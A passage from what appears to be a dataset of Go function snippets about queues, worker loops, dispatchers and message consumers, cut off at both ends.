devicePath := range brokenDevices {\n\t\t\tif !newBrokenDevices[devicePath] {\n\t\t\t\tevents = append(events, DriveReinstatedEvent{DevicePath: devicePath})\n\t\t\t}\n\t\t}\n\t\tbrokenDevices = newBrokenDevices\n\n\t\t//wake up the converger thread\n\t\tif len(events) > 0 {\n\t\t\tqueue <- events\n\t\t}\n\n\t\t//sleep for 5 seconds before re-running\n\t\ttime.Sleep(interval)\n\t}\n}", "func (q *Queue) EnQueue(val interface{}) {\r\n\r\n\ttemp, _ := CreateNew(val)\r\n\r\n\tq.QueueList = append(q.QueueList, temp.QueueList...)\r\n}", "func (q *Queue) Enqueue(obj interface{}) {\n\tq.Work <- obj\n}", "func (w *Worker) Run(wg *sync.WaitGroup, queue chan *Job) {\n\tdefer wg.Done()\n\tfor {\n\t\tselect {\n\t\tcase j, ok := <-queue:\n\t\t\tif !ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tmd := j.ChartVersion.Metadata\n\t\t\tw.logger.Debug().\n\t\t\t\tStr(\"repo\", j.Repo.Name).\n\t\t\t\tStr(\"chart\", md.Name).\n\t\t\t\tStr(\"version\", md.Version).\n\t\t\t\tInt(\"jobKind\", int(j.Kind)).\n\t\t\t\tMsg(\"handling job\")\n\t\t\tvar err error\n\t\t\tswitch j.Kind {\n\t\t\tcase Register:\n\t\t\t\terr = w.handleRegisterJob(j)\n\t\t\tcase Unregister:\n\t\t\t\terr = w.handleUnregisterJob(j)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tw.logger.Error().\n\t\t\t\t\tErr(err).\n\t\t\t\t\tStr(\"repo\", j.Repo.Name).\n\t\t\t\t\tStr(\"chart\", md.Name).\n\t\t\t\t\tStr(\"version\", md.Version).\n\t\t\t\t\tInt(\"jobKind\", int(j.Kind)).\n\t\t\t\t\tMsg(\"error handling job\")\n\t\t\t}\n\t\tcase <-w.ctx.Done():\n\t\t\treturn\n\t\t}\n\t}\n}", "func (s *Spooler) queue(event *input.FileEvent) {\n\ts.spool = append(s.spool, event)\n\tif len(s.spool) == cap(s.spool) {\n\t\tdebugf(\"Flushing spooler because spooler full. Events flushed: %v\", len(s.spool))\n\t\ts.flush()\n\t}\n}", "func (s *Store) startPoller() {\n\tfor {\n\t\tselect {\n\t\tcase req := <-s.getReqQueue:\n\t\t\treq.respCh <- s.performGetOperation(req.key)\n\n\t\tcase req := <-s.modifyReqQueue:\n\t\t\terr := s.performModifyOperation(req)\n\t\t\treq.respCh <- err\n\n\t\t\ts.fanOutSubscriptions(req)\n\n\t\tcase sub := <-s.subscribeQueue:\n\t\t\ts.registerSubscription(sub)\n\t\t}\n\t}\n}", "func (s *Consumer) Run() error {\n\t// check queue status\n\tselect {\n\tcase <-s.stop:\n\t\treturn ErrQueueShutdown\n\tdefault:\n\t}\n\n\tfor task := range s.taskQueue {\n\t\tvar data Job\n\t\t_ = json.Unmarshal(task.Bytes(), &data)\n\t\tif v, ok := task.(Job); ok {\n\t\t\tif v.Task != nil {\n\t\t\t\tdata.Task = v.Task\n\t\t\t}\n\t\t}\n\t\tif err := s.handle(data); err != nil {\n\t\t\ts.logger.Error(err.Error())\n\t\t}\n\t}\n\treturn nil\n}", "func (d *Driver) Enqueue(q *CommandQueue, c Command) {\n\tq.Enqueue(c)\n\t// d.enqueueSignal <- true\n}", "func (c *AnalyticsController) worker() {\n\tfor {\n\t\tfunc() {\n\t\t\t_, err := c.queue.Pop(c.processAnalyticFromQueue)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"error processing analytic: %v\", err)\n\t\t\t}\n\t\t}()\n\t}\n}", "func (q *SQSBuildQueue) Subscribe(ch chan BuildContext) error {\n\tgo func() {\n\t\tfor {\n\t\t\tif err := q.receiveMessage(ch); err != nil {\n\t\t\t\tq.handleError(err)\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn nil\n}", "func (c *StorageQuotaCollector) Run(stopCh <-chan struct{}) {\n\tgo c.Informer.Run(stopCh)\n}", "func processQueue(builder *builder, files <-chan string, wg *sync.WaitGroup) {\n\tfor file := range files {\n\t\tsource, _ := ioutil.ReadFile(file)\n\t\t_, _ = builder.buildPage(source, file, DirectRegister)\n\t}\n\twg.Done()\n}", "func (notification *Notification) OnQueued(container *ioccontainer.Container) error {\n\terr := notification.Validate(true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar queue NotificationQueue\n\tcontainer.Make(&queue)\n\n\tvar messengerRecipientRepository MessengerRecipientRepository\n\tcontainer.Make(&messengerRecipientRepository)\n\n\tlog.Print(\"Loaded dependencies. Loading recipient...\")\n\trecipient, err := messengerRecipientRepository.GetForUser(notification.UID)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"Loaded recipient: %+v. Notifying...\", recipient)\n\n\terr = recipient.Notify(*notification, container)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"Notified recipient. Deleting...\")\n\n\treturn queue.Delete(notification.UID, notification.ID)\n}", "func (c *QueuedChan) run() {\n\t// Notify close channel coroutine.\n\tdefer close(c.done)\n\n\tfor {\n\t\tvar elem *list.Element\n\t\tvar item interface{}\n\t\tvar popc chan<- interface{}\n\n\t\t// Get front element of the queue.\n\t\tif elem = c.Front(); nil != elem {\n\t\t\tpopc, item = c.popc, elem.Value\n\t\t}\n\n\t\tselect {\n\t\t// Put the new object into the end of queue.\n\t\tcase i := <-c.pushc:\n\t\t\tc.PushBack(i)\n\t\t// Remove the front element from queue if send out success\n\t\tcase popc <- item:\n\t\t\tc.List.Remove(elem)\n\t\t// Control command\n\t\tcase cmd := <-c.ctrlc:\n\t\t\tc.control(cmd)\n\t\t// Channel is closed\n\t\tcase <-c.close:\n\t\t\treturn\n\t\t}\n\t\t// Update channel length\n\t\tatomic.StoreInt32(&c.len, int32(c.List.Len()))\n\t}\n}", "func (s *Storage) Run() {\n\tfor _, q := range s.queues {\n\t\tgo q.Run()\n\t}\n}", "func (h *Handler) Run(stopCh <-chan struct{}) {\n\tglog.Infof(\"%+v resource handler is starting now\", h.dataType)\n\tgo wait.NonSlidingUntil(h.handle, defaultHandleInterval, stopCh)\n\tgo wait.Until(h.reportHandlerQueueLength, defaultHandlerReportPeriod, stopCh)\n\n\t// setup debug.\n\t//go h.debug()\n}", "func (ac *asyncCallbacksHandler) run() {\n\tfor {\n\t\tf := <-ac.cbQueue\n\t\tif f == nil {\n\t\t\treturn\n\t\t}\n\t\tf()\n\t}\n}", "func (bc *BodyCollection) Enqueue(ev event) {\n\tselect {\n\tcase bc.evCh <- ev:\n\tdefault:\n\t\tlog.Printf(\"[ERROR] Attempt to enqueue event on full event channel: %+v\\n\", ev)\n\t}\n}", "func (trd *trxDispatcher) execute() {\n\t// don't forget to sign off after we are done\n\tdefer func() {\n\t\tclose(trd.outAccount)\n\t\tclose(trd.outLog)\n\t\tclose(trd.outTransaction)\n\n\t\ttrd.mgr.finished(trd)\n\t}()\n\n\t// wait for transactions and process them\n\tfor {\n\t\t// try to read next transaction\n\t\tselect {\n\t\tcase <-trd.sigStop:\n\t\t\treturn\n\t\tcase <-trd.bot.C:\n\t\t\ttrd.updateLastSeenBlock()\n\t\tcase evt, ok := <-trd.inTransaction:\n\t\t\t// is the channel even available for reading\n\t\t\tif !ok {\n\t\t\t\tlog.Notice(\"trx channel closed, terminating %s\", trd.name())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif evt.blk == nil || evt.trx == nil {\n\t\t\t\tlog.Criticalf(\"dispatcher dry loop\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttrd.process(evt)\n\t\t}\n\t}\n}", "func (ds *fakeDebugSession) sendFromQueue() {\n\tfor message := range ds.sendQueue {\n\t\tdap.WriteProtocolMessage(ds.rw.Writer, message)\n\t\tlog.Printf(\"Message sent\\n\\t%#v\\n\", message)\n\t\tds.rw.Flush()\n\t}\n}", "func (d *distEventBus) startReceiver() {\n\tgo func() {\n\t\tctx := context.TODO()\n\t\tfor {\n\t\t\terr := d.sub.Receive(ctx, d.processReceivedMsg)\n\t\t\tif err != nil {\n\t\t\t\tsklog.Errorf(\"Error receiving message: %s\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}()\n}", "func (ds *Session) sendFromQueue() {\n\tfor message := range ds.sendQueue {\n\t\tdap.WriteProtocolMessage(ds.rw.Writer, message)\n\t\tif ds.debuglog {\n\t\t\tby, _ := json.Marshal(message)\n\t\t\tlog.Println(\"Message sent:\", string(by))\n\t\t}\n\t\tds.rw.Flush()\n\t}\n}", "func (q *Basic) StartDispatcher(ctx context.Context, d func(*Item) error, wg *sync.WaitGroup) {\n\tdefer func() {\n\t\tif wg != nil {\n\t\t\twg.Done()\n\t\t}\n\t}()\n\tfor {\n\t\tif ctx.Err() != nil {\n\t\t\treturn\n\t\t}\n\n\t\tq.Lock()\n\n\t\tif q.h == nil {\n\t\t\tq.trig.Wait()\n\t\t}\n\n\t\ti := q.h\n\t\tif i != nil {\n\t\t\tq.h = i.next // remove singly\n\t\t\tif q.h == nil {\n\t\t\t\tq.t = nil\n\t\t\t}\n\t\t}\n\n\t\tq.Unlock()\n\n\t\tif i != nil {\n\t\t\ti.next = nil\n\t\t\tif err := d(i); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tReturnItem(i)\n\t\t}\n\t}\n}", "func (s *Worker) Queue(job queue.QueuedMessage) error {\n\tselect {\n\tcase s.queueNotification <- job:\n\t\treturn nil\n\tdefault:\n\t\treturn errMaxCapacity\n\t}\n}", "func (b *Broker) runWorkqueueProcessor(stopCh <-chan struct{}) {\n\t// Start the goroutine workqueue to process kubernetes events\n\t// The continuous processing of items in the workqueue will run\n\t// until signalled to stop.\n\t// The 'wait.Until' helper is used here to ensure the processing\n\t// of items in the workqueue continues until signalled to stop, even\n\t// if 'processNextItems()' returns false.\n\tgo wait.Until(\n\t\tfunc() {\n\t\t\tfor b.processNextItem() {\n\t\t\t}\n\t\t},\n\t\ttime.Second,\n\t\tstopCh,\n\t)\n}", "func (e *EventRecovery) dispatch(cons *mpConsumer) {\n\tmsg := formattingEvent(e.Event, *e.Data, e.ID)\n\tcons.RLock()\n\tdefer cons.RUnlock()\n\tif consumer, ok := cons.value[e.CID]; ok {\n\t\tconsumer.recoveryChannel <- msg\n\t}\n}", "func (a *ServerQueryAPI) Run(parentContext context.Context) error {\n\tctx, ctxCancel := context.WithCancel(parentContext)\n\tdefer ctxCancel()\n\tgo a.readPump(ctx)\n\tgo func() {\n\t\ta.eventListenersMtx.Lock()\n\t\tfor _, list := range a.eventListeners {\n\t\t\tclose(list)\n\t\t}\n\t\ta.eventListeners = nil\n\t\ta.eventListenersMtx.Unlock()\n\t}()\n\n\tfor {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn context.Canceled\n\t\tcase cmd := <-a.commandQueue:\n\t\t\tres, err := a.submitCommand(ctx, cmd)\n\t\t\tcmd.result = res\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn context.Canceled\n\t\t\tcase cmd.doneCh <- err:\n\t\t\t}\n\t\tcase env, ok := <-a.readQueue:\n\t\t\tif !ok {\n\t\t\t\tif a.readError == nil {\n\t\t\t\t\treturn context.Canceled\n\t\t\t\t}\n\t\t\t\treturn a.readError\n\t\t\t}\n\t\t\ta.processEvent(ctx, env)\n\t\t}\n\t}\n}", "func (s *Worker) Run(_ chan struct{}) error {\n\tfor notification := range s.queueNotification {\n\t\t// run custom process function\n\t\t_ = s.runFunc(notification)\n\t}\n\treturn nil\n}", "func (v *vtStopCrawler) startDispatcher() {\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase stop := <-v.stopsQueue:\n\t\t\t\tgo func() {\n\t\t\t\t\tworker := <-v.workerQueue\n\t\t\t\t\tworker <- stop\n\t\t\t\t}()\n\t\t\tcase <-v.done:\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n}", "func (h *Handler) reportHandlerQueueLength() {\n\tmetrics.ReportK8sWatchHandlerQueueLength(h.clusterID, h.dataType, float64(len(h.queue)))\n}", "func (q *Queue) Dispatch() {\n\tq.Started()\n\tvar workItem interface{}\n\tvar worker *Worker\n\tvar stopping <-chan struct{}\n\tfor {\n\t\tstopping = q.NotifyStopping()\n\t\tselect {\n\t\tcase workItem = <-q.Work:\n\t\t\tstopping = q.NotifyStopping()\n\t\t\tselect {\n\t\t\tcase worker = <-q.Workers:\n\t\t\t\tworker.Enqueue(workItem)\n\t\t\tcase <-stopping:\n\t\t\t\tq.Stopped()\n\t\t\t\treturn\n\t\t\t}\n\t\tcase <-stopping:\n\t\t\tq.Stopped()\n\t\t\treturn\n\t\t}\n\t}\n}", "func (f *Fixer) QueueChain(cert *x509.Certificate, chain []*x509.Certificate, roots *x509.CertPool) {\n\tf.toFix <- &toFix{\n\t\tcert: cert,\n\t\tchain: newDedupedChain(chain),\n\t\troots: roots,\n\t\tcache: f.cache,\n\t}\n}", "func FlushDeviceQueueForDevEUI(ctx context.Context, db sqlx.Execer, devEUI lorawan.EUI64) error {\n\t_, err := db.Exec(\"delete from device_queue where dev_eui = $1\", devEUI[:])\n\tif err != nil {\n\t\treturn handlePSQLError(err, \"delete error\")\n\t}\n\n\tlog.WithFields(log.Fields{\n\t\t\"ctx_id\": ctx.Value(logging.ContextIDKey),\n\t\t\"dev_eui\": devEUI,\n\t}).Info(\"device-queue flushed\")\n\n\treturn nil\n}", "func (q *GCPPubSubQueue) queue(ctx context.Context, job interface{}) error {\n\tvar buf bytes.Buffer\n\tenc := gob.NewEncoder(&buf)\n\tif err := enc.Encode(container{job}); err != nil {\n\t\treturn errors.Wrap(err, \"could not gob encode job\")\n\t}\n\n\tvar (\n\t\tmsg = &pubsub.Message{Data: buf.Bytes()}\n\t\tmaxAttempts = 3\n\t\tmsgID string\n\t\terr error\n\t)\n\tfor i := 1; i <= maxAttempts; i++ {\n\t\tres := q.topic.Publish(ctx, msg)\n\t\tmsgID, err = res.Get(ctx)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t\tq.logger.With(\"error\", err).Infof(\"failed publishing message attempt %v of %v\", i, maxAttempts)\n\t\ttime.Sleep(time.Duration(i) * time.Second)\n\t}\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not publish job\")\n\t}\n\tq.logger.With(\"messageID\", msgID).Info(\"published job\")\n\n\treturn nil\n}", "func (n *DcrdNotifier) notificationDispatcher() {\n\tdefer n.wg.Done()\n\nout:\n\tfor {\n\t\tselect {\n\t\tcase cancelMsg := <-n.notificationCancels:\n\t\t\tswitch msg := cancelMsg.(type) {\n\t\t\tcase *epochCancel:\n\t\t\t\tchainntnfs.Log.Infof(\"Cancelling epoch \"+\n\t\t\t\t\t\"notification, epoch_id=%v\", msg.epochID)\n\n\t\t\t\t// First, we'll lookup the original\n\t\t\t\t// registration in order to stop the active\n\t\t\t\t// queue goroutine.\n\t\t\t\treg := n.blockEpochClients[msg.epochID]\n\t\t\t\treg.epochQueue.Stop()\n\n\t\t\t\t// Next, close the cancel channel for this\n\t\t\t\t// specific client, and wait for the client to\n\t\t\t\t// exit.\n\t\t\t\tclose(n.blockEpochClients[msg.epochID].cancelChan)\n\t\t\t\tn.blockEpochClients[msg.epochID].wg.Wait()\n\n\t\t\t\t// Once the client has exited, we can then\n\t\t\t\t// safely close the channel used to send epoch\n\t\t\t\t// notifications, in order to notify any\n\t\t\t\t// listeners that the intent has been\n\t\t\t\t// canceled.\n\t\t\t\tclose(n.blockEpochClients[msg.epochID].epochChan)\n\t\t\t\tdelete(n.blockEpochClients, msg.epochID)\n\t\t\t}\n\n\t\tcase registerMsg := <-n.notificationRegistry:\n\t\t\tswitch msg := registerMsg.(type) {\n\t\t\tcase *chainntnfs.HistoricalConfDispatch:\n\t\t\t\t// Look up whether the transaction/output script\n\t\t\t\t// has already confirmed in the active chain.\n\t\t\t\t// We'll do this in a goroutine to prevent\n\t\t\t\t// blocking potentially long rescans.\n\t\t\t\t//\n\t\t\t\t// TODO(wilmer): add retry logic if rescan fails?\n\t\t\t\tn.wg.Add(1)\n\t\t\t\tgo func() {\n\t\t\t\t\tdefer n.wg.Done()\n\n\t\t\t\t\tconfDetails, _, err := n.historicalConfDetails(\n\t\t\t\t\t\tmsg.ConfRequest,\n\t\t\t\t\t\tmsg.StartHeight, msg.EndHeight,\n\t\t\t\t\t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\t// If the historical dispatch finished\n\t\t\t\t\t// without error, we will invoke\n\t\t\t\t\t// UpdateConfDetails even if none were\n\t\t\t\t\t// found. This allows the notifier to\n\t\t\t\t\t// begin safely updating the height hint\n\t\t\t\t\t// cache at tip, since any pending\n\t\t\t\t\t// rescans have now completed.\n\t\t\t\t\terr = n.txNotifier.UpdateConfDetails(\n\t\t\t\t\t\tmsg.ConfRequest, confDetails,\n\t\t\t\t\t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t}\n\t\t\t\t}()\n\n\t\t\tcase *blockEpochRegistration:\n\t\t\t\tchainntnfs.Log.Infof(\"New block epoch subscription\")\n\n\t\t\t\tn.blockEpochClients[msg.epochID] = msg\n\n\t\t\t\t// If the client did not provide their best\n\t\t\t\t// known block, then we'll immediately dispatch\n\t\t\t\t// a notification for the current tip.\n\t\t\t\tif msg.bestBlock == nil {\n\t\t\t\t\tn.notifyBlockEpochClient(\n\t\t\t\t\t\tmsg, n.bestBlock.Height,\n\t\t\t\t\t\tn.bestBlock.Hash,\n\t\t\t\t\t)\n\n\t\t\t\t\tmsg.errorChan <- nil\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Otherwise, we'll attempt to deliver the\n\t\t\t\t// backlog of notifications from their best\n\t\t\t\t// known block.\n\t\t\t\tmissedBlocks, err := chainntnfs.GetClientMissedBlocks(\n\t\t\t\t\tn.cca, msg.bestBlock,\n\t\t\t\t\tn.bestBlock.Height, true,\n\t\t\t\t)\n\t\t\t\tif err != nil {\n\t\t\t\t\tmsg.errorChan <- err\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tfor _, block := range missedBlocks {\n\t\t\t\t\tn.notifyBlockEpochClient(\n\t\t\t\t\t\tmsg, block.Height, block.Hash,\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\tmsg.errorChan <- nil\n\t\t\t}\n\n\t\tcase item := <-n.chainUpdates.ChanOut():\n\t\t\tupdate := item.(*filteredBlock)\n\t\t\theader := update.header\n\t\t\tif update.connect {\n\t\t\t\tif header.PrevBlock != *n.bestBlock.Hash {\n\t\t\t\t\t// Handle the case where the notifier\n\t\t\t\t\t// missed some blocks from its chain\n\t\t\t\t\t// backend\n\t\t\t\t\tchainntnfs.Log.Infof(\"Missed blocks, \" +\n\t\t\t\t\t\t\"attempting to catch up\")\n\t\t\t\t\tnewBestBlock, missedBlocks, err :=\n\t\t\t\t\t\tchainntnfs.HandleMissedBlocks(\n\t\t\t\t\t\t\tn.cca,\n\t\t\t\t\t\t\tn.txNotifier,\n\t\t\t\t\t\t\tn.bestBlock,\n\t\t\t\t\t\t\tint32(header.Height),\n\t\t\t\t\t\t\ttrue,\n\t\t\t\t\t\t)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// Set the bestBlock here in case\n\t\t\t\t\t\t// a catch up partially completed.\n\t\t\t\t\t\tn.bestBlock = newBestBlock\n\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\tfor _, block := range missedBlocks {\n\t\t\t\t\t\tfilteredBlock, err := n.fetchFilteredBlock(block)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\t\tcontinue out\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\terr = n.handleBlockConnected(filteredBlock)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\t\t\tcontinue out\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// TODO(decred) Discuss and decide how to do this.\n\t\t\t\t// This is necessary because in dcrd, OnBlockConnected will\n\t\t\t\t// only return filtered transactions, so we need to actually\n\t\t\t\t// load a watched transaction using LoadTxFilter (which is\n\t\t\t\t// currently not done in RegisterConfirmationsNtfn).\n\t\t\t\tbh := update.header.BlockHash()\n\t\t\t\tfilteredBlock, err := n.fetchFilteredBlockForBlockHash(&bh)\n\t\t\t\tif err != nil {\n\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif err := n.handleBlockConnected(filteredBlock); err != nil {\n\t\t\t\t\tchainntnfs.Log.Error(err)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif header.Height != uint32(n.bestBlock.Height) {\n\t\t\t\tchainntnfs.Log.Infof(\"Missed disconnected\" +\n\t\t\t\t\t\"blocks, attempting to catch up\")\n\t\t\t}\n\n\t\t\tnewBestBlock, err := chainntnfs.RewindChain(\n\t\t\t\tn.cca, n.txNotifier, n.bestBlock,\n\t\t\t\tint32(header.Height-1),\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\tchainntnfs.Log.Errorf(\"Unable to rewind chain \"+\n\t\t\t\t\t\"from height %d to height %d: %v\",\n\t\t\t\t\tn.bestBlock.Height, int32(header.Height-1), err)\n\t\t\t}\n\n\t\t\t// Set the bestBlock here in case a chain rewind\n\t\t\t// partially completed.\n\t\t\tn.bestBlock = newBestBlock\n\n\t\tcase <-n.quit:\n\t\t\tbreak out\n\t\t}\n\t}\n}", "func (c *Conn) ConsumeQueue(queueName string) error {\n\n\tloop := make(chan bool)\n\n\tmsgs, err := c.channel.Consume(c.queues[queueName].Name, \"\", true, false, false, false, nil)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\tfor d := range msgs {\n\t\t\ttData, err := c.TData(d.Body)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Failed Unmarshal: %s\\n\", err)\n\t\t\t}\n\t\t\twebsocket.WsManager.SendToAll(tData.From, tData.Data)\n\t\t\tfmt.Printf(\"From: %s | To: %s | data %s\\n\", tData.From, tData.To, tData.Data)\n\t\t}\n\t}()\n\n\t<-loop\n\n\treturn nil\n}", "func (d *Digester) handle(ctx context.Context, sub broker.Subscriber, h broker.Handler) error {\n\tfor {\n\t\tif err := sub.Receive(ctx, h); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n}", "func (f *frontier) Dequeue() {\n\tf.lk.Lock()\n\tdefer f.lk.Unlock()\n\tif len(f.nbs) == 0 {\n\t\treturn\n\t}\n\tf.nbs = f.nbs[1:]\n}", "func (q *Queen) Run() {\n\n\tlog.L.Debugf(\"Obtaining a run lock for %v\", q.config.ID)\n\n\t//wait for the lock\n\tq.runMutex.Lock()\n\tq.State = running\n\n\tdefer func() {\n\t\tq.runMutex.Unlock()\n\t\tq.LastRun = time.Now()\n\t}()\n\n\tlog.L.Infof(\"Starting run of %v.\", q.config.ID)\n\n\t//before we get the info from the store, we need to have the caterpillar\n\tcat, err := caterpillar.GetCaterpillar(q.config.Type)\n\tif err != nil {\n\t\tlog.L.Errorf(err.Addf(\"Couldn't get the caterpillar %v.\", q.config.ID).Error())\n\t\tlog.L.Debugf(\"%s\", err.Stack)\n\t\tq.State = errorwaiting\n\t\tq.LastError = err.Error()\n\t\treturn\n\t}\n\n\t//Register the info struct so it'll come back with an assertable type in the interface that was written.\n\tcat.RegisterGobStructs()\n\n\t//get the information from the store\n\tinfo, err := store.GetInfo(q.config.ID)\n\tif err != nil {\n\t\tlog.L.Errorf(err.Addf(\"Couldn't get information for caterpillar %v from info store. Returning.\", q.config.ID).Error())\n\t\tlog.L.Debugf(\"%s\", err.Stack)\n\t\tq.LastError = err.Error()\n\t\tq.State = errorwaiting\n\t\treturn\n\t}\n\tlog.L.Debugf(\"State before run: %v\", info)\n\n\t//get the feeder, from that we can get the number of events.\n\tfeed, err := feeder.GetFeeder(q.config, info.LastEventTime)\n\tif err != nil {\n\t\tlog.L.Errorf(err.Addf(\"Couldn't get feeder for %v from info store. Returning.\", q.config.ID).Error())\n\t\tlog.L.Debugf(\"%s\", err.Stack)\n\t\tq.LastError = err.Error()\n\t\tq.State = errorwaiting\n\t\treturn\n\t}\n\n\tcount, err := feed.GetCount()\n\tif err != nil {\n\t\tlog.L.Errorf(err.Addf(\"Couldn't get event count from feeder for %v from info store. Returning.\", q.config.ID).Error())\n\t\tlog.L.Debugf(\"%s\", err.Stack)\n\t\tq.LastError = err.Error()\n\t\tq.State = errorwaiting\n\t\treturn\n\t}\n\n\t//Run the caterpillar - this should block until the cateprillar is done chewing through the data.\n\tstate, err := cat.Run(q.config.ID, count, info, q.nydusChannel, q.config, feed.StartFeeding)\n\tif err != nil {\n\t\tlog.L.Error(err.Addf(\"There was an error running caterpillar %v: %v\", q.config.ID, err.Error()))\n\t\tlog.L.Debugf(\"%s\", err.Stack)\n\t\tq.LastError = err.Error()\n\t\tq.State = errorwaiting\n\t\treturn\n\t}\n\n\tlog.L.Debugf(\"State after run; %v\", state)\n\n\terr = store.PutInfo(q.config.ID, state)\n\tif err != nil {\n\t\tlog.L.Errorf(err.Addf(\"Couldn't store information for caterpillar %v to info store. Returning.\", q.config.ID).Error())\n\t\tlog.L.Debugf(\"%s\", err.Stack)\n\t\tq.LastError = err.Error()\n\t\tq.State = errorwaiting\n\t\treturn\n\t}\n\n\tq.LastError = \"\"\n\tq.State = donewaiting\n\n}", "func (s *API) TagQueue(w http.ResponseWriter, req *http.Request) {\n\tlog.Debug(\"TagQueue\")\n\tw.WriteHeader(http.StatusNotImplemented)\n}", "func (m *memoryMailBox) mailCourier(cType courierType) {\n\tdefer m.wg.Done()\n\n\t// TODO(roasbeef): refactor...\n\n\tfor {\n\t\t// First, we'll check our condition. If our target mailbox is\n\t\t// empty, then we'll wait until a new item is added.\n\t\tswitch cType {\n\t\tcase wireCourier:\n\t\t\tm.wireCond.L.Lock()\n\t\t\tfor len(m.wireMessages) == 0 {\n\t\t\t\tm.wireCond.Wait()\n\n\t\t\t\tselect {\n\t\t\t\tcase <-m.quit:\n\t\t\t\t\tm.wireCond.L.Unlock()\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase pktCourier:\n\t\t\tm.pktCond.L.Lock()\n\t\t\tfor len(m.htlcPkts) == 0 {\n\t\t\t\tm.pktCond.Wait()\n\n\t\t\t\tselect {\n\t\t\t\tcase <-m.quit:\n\t\t\t\t\tm.pktCond.L.Unlock()\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Grab the datum off the front of the queue, shifting the\n\t\t// slice's reference down one in order to remove the datum from\n\t\t// the queue.\n\t\tvar (\n\t\t\tnextPkt *htlcPacket\n\t\t\tnextMsg lnwire.Message\n\t\t)\n\t\tswitch cType {\n\t\tcase wireCourier:\n\t\t\tnextMsg = m.wireMessages[0]\n\t\t\tm.wireMessages[0] = nil // Set to nil to prevent GC leak.\n\t\t\tm.wireMessages = m.wireMessages[1:]\n\t\tcase pktCourier:\n\t\t\tnextPkt = m.htlcPkts[0]\n\t\t\tm.htlcPkts[0] = nil // Set to nil to prevent GC leak.\n\t\t\tm.htlcPkts = m.htlcPkts[1:]\n\t\t}\n\n\t\t// Now that we're done with the condition, we can unlock it to\n\t\t// allow any callers to append to the end of our target queue.\n\t\tswitch cType {\n\t\tcase wireCourier:\n\t\t\tm.wireCond.L.Unlock()\n\t\tcase pktCourier:\n\t\t\tm.pktCond.L.Unlock()\n\t\t}\n\n\t\t// With the next message obtained, we'll now select to attempt\n\t\t// to deliver the message. If we receive a kill signal, then\n\t\t// we'll bail out.\n\t\tswitch cType {\n\t\tcase wireCourier:\n\t\t\tselect {\n\t\t\tcase m.messageOutbox <- nextMsg:\n\t\t\tcase <-m.quit:\n\t\t\t\treturn\n\t\t\t}\n\n\t\tcase pktCourier:\n\t\t\tselect {\n\t\t\tcase m.pktOutbox <- nextPkt:\n\t\t\tcase <-m.quit:\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t}\n}", "func (msq *MockSend) handler() {\nout:\n\tfor {\n\t\tselect {\n\t\tcase <-msq.quit:\n\t\t\tbreak out\n\t\tcase inv := <-msq.requestQueue:\n\t\t\tmsq.conn.RequestData(inv)\n\t\tcase msg := <-msq.msgQueue:\n\t\t\tmsq.conn.WriteMessage(msg)\n\t\t}\n\t}\n}", "func handleRequeueError (err error, logger logr.Logger) (reconcile.Result, error){\n\tlogger.Info(\"Requeing the Reconciling request... \")\n\treturn reconcile.Result{}, err\n}", "func (d *InfluxDevops) Dispatch(i int, q *Query, scaleVar int) {\n\tDevopsDispatch(d, i, q, scaleVar)\n}", "func (k *Kuzzle) cleanQueue() {\n\tnow := time.Now()\n\tnow = now.Add(-k.queueTTL * time.Millisecond)\n\n\t// Clean queue of timed out query\n\tif k.queueTTL > 0 {\n\t\tvar query *types.QueryObject\n\t\tfor _, query = range k.offlineQueue {\n\t\t\tif query.Timestamp.Before(now) {\n\t\t\t\tk.offlineQueue = k.offlineQueue[1:]\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif k.queueMaxSize > 0 && len(k.offlineQueue) > k.queueMaxSize 